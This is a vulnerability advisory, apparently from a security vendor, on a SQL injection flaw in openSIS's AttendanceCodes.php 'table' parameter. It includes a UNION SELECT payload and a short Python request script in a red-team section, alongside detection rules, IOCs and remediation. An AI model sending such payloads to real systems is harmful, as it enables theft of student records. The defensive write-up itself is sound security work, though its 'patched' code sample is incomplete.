CVE-2025-22925
Executive Summary
CVE-2025-22925 is a critical SQL injection vulnerability discovered in OS4ED openSIS, affecting versions 7.0 through 9.1. The flaw resides in the /attendance/AttendanceCodes.php endpoint, specifically within the table parameter. An authenticated attacker with admin role privileges can inject arbitrary SQL commands, leading to potential data exfiltration, modification, or complete database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch or EPSS score, indicating low exploitation likelihood currently, though the risk remains high due to the sensitive nature of student information systems (SIS). No supply chain package (NPM, PyPI, Go, Ruby) is associated with this vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the description and impact, a reasonable assessment is:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – simple injection via HTTP parameter.
- Privileges Required (PR): High (H) – requires admin role.
- User Interaction (UI): None (N) – no user action needed.
- Scope (S): Unchanged (U) – vulnerable component only.
- Confidentiality (C): High (H) – full database read.
- Integrity (I): High (H) – data modification possible.
- Availability (A): High (H) – potential denial of service via destructive queries.
Estimated CVSS Score: 7.2 (High)
Threat Level: High – despite requiring admin privileges, the impact on student data privacy and system integrity is severe.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the table parameter of /attendance/AttendanceCodes.php. The application likely constructs SQL queries by directly concatenating user-supplied input without proper sanitization or parameterized queries. An admin user can manipulate the table parameter to break out of the intended SQL syntax and execute arbitrary commands.
Root Cause: Lack of input validation and prepared statements in the PHP code handling the table parameter.
Attack Vector: HTTP GET or POST request to /attendance/AttendanceCodes.php?table=INJECTION_PAYLOAD.
Impact: Full database compromise, including extraction of student records, grades, personal data, and potential lateral movement to other systems.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
$table = $_GET['table'];
$query = "SELECT * FROM " . $table . " WHERE id = 1";
$result = mysqli_query($conn, $query);
?>
Patched Code (Conceptual):
<?php
$table = $_GET['table'];
$allowed_tables = ['attendance_codes', 'students', 'teachers'];
if (in_array($table, $allowed_tables)) {
$query = "SELECT * FROM " . $table . " WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
} else {
die("Invalid table");
}
?>
The patched version uses whitelisting and prepared statements to prevent injection.
Exploitation & Lab Setup
Red Team
Prerequisites: Admin credentials for openSIS.
Exploit Steps:
- Authenticate as admin.
- Send a crafted request to
/attendance/AttendanceCodes.php?table=attendance_codes UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -. - Extract database schema using
information_schema. - Dump sensitive tables (e.g.,
students,users).
Example Payload:
table=attendance_codes UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables-- -
Automation Script (Python):
import requests
url = "http://target/attendance/AttendanceCodes.php"
cookies = {"PHPSESSID": "your_session_id"}
payload = "attendance_codes UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
params = {"table": payload}
r = requests.get(url, params=params, cookies=cookies)
print(r.text)
Blue Team
Detection:
- Monitor for unusual SQL error messages in logs.
- Alert on requests to
/attendance/AttendanceCodes.phpwith suspicioustableparameters (e.g., containingUNION,SELECT,--). - Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
Hunting:
- Search web server logs for
table=followed by SQL keywords. - Correlate admin account activity with abnormal database queries.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/attendance/AttendanceCodes.phpwithtableparameter containing SQL syntax. - Logs: Database error logs showing syntax errors or unexpected query results.
- File: Modified PHP files in the openSIS installation directory.
- Behavior: Unusual database queries from the web server user.
Detection Engineering
YARA Rule
rule CVE_2025_22925_SQLi {
meta:
description = "Detects SQL injection attempts targeting CVE-2025-22925"
author = "Valters IT"
date = "2025-04-10"
strings:
$sqli1 = "table=" nocase
$sqli2 = "UNION" nocase
$sqli3 = "SELECT" nocase
$sqli4 = "FROM" nocase
$sqli5 = "--" nocase
condition:
all of ($sqli1, $sqli2, $sqli3, $sqli4, $sqli5)
}
Sigma Rule
title: CVE-2025-22925 SQL Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against openSIS AttendanceCodes.php
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/attendance/AttendanceCodes.php?table='
cs-uri-query|contains|all:
- 'UNION'
- 'SELECT'
- '--'
condition: selection
falsepositives:
- Legitimate admin testing
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22925 SQL Injection Attempt"; flow:to_server,established; content:"/attendance/AttendanceCodes.php"; http_uri; content:"table="; http_uri; pcre:"/UNION.*SELECT.*--/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the openSIS server from the internet if possible.
- Restrict admin access to trusted IPs only.
- Apply input validation and parameterized queries to the
tableparameter.
Long-term Fix:
- Upgrade to a patched version once available (check OS4ED official site).
- Implement a Web Application Firewall (WAF) with SQL injection rules.
- Conduct a full security audit of the application.
Workaround:
- Manually patch the code by whitelisting allowed table names and using prepared statements.
Valters IT – Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.